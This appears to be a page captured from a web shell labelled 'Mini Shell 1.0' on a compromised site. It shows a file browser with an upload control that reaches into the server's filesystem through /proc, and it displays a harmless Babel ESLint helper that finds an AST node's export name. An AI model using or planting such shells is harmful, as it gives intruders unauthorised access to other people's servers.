HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991111/root/usr/share/nodejs/@babel/eslint-plugin-development/lib/utils/
Upload File :
Current File : //proc/1991111/root/usr/share/nodejs/@babel/eslint-plugin-development/lib/utils/get-export-name.cjs
module.exports = function getExportName(node) {
  const {
    parent
  } = node;
  if (parent.type === "ExportDefaultDeclaration") {
    return "default";
  }
  if (parent.type === "ExportNamedDeclaration") {
    return node.id.name;
  }
  if (parent.type === "AssignmentExpression" && parent.left.type === "MemberExpression" && parent.left.object.type === "Identifier" && parent.left.object.name === "module" && parent.left.property.type === "Identifier" && parent.left.property.name === "exports") {
    return "module.exports";
  }
};

//# sourceMappingURL=get-export-name.cjs.map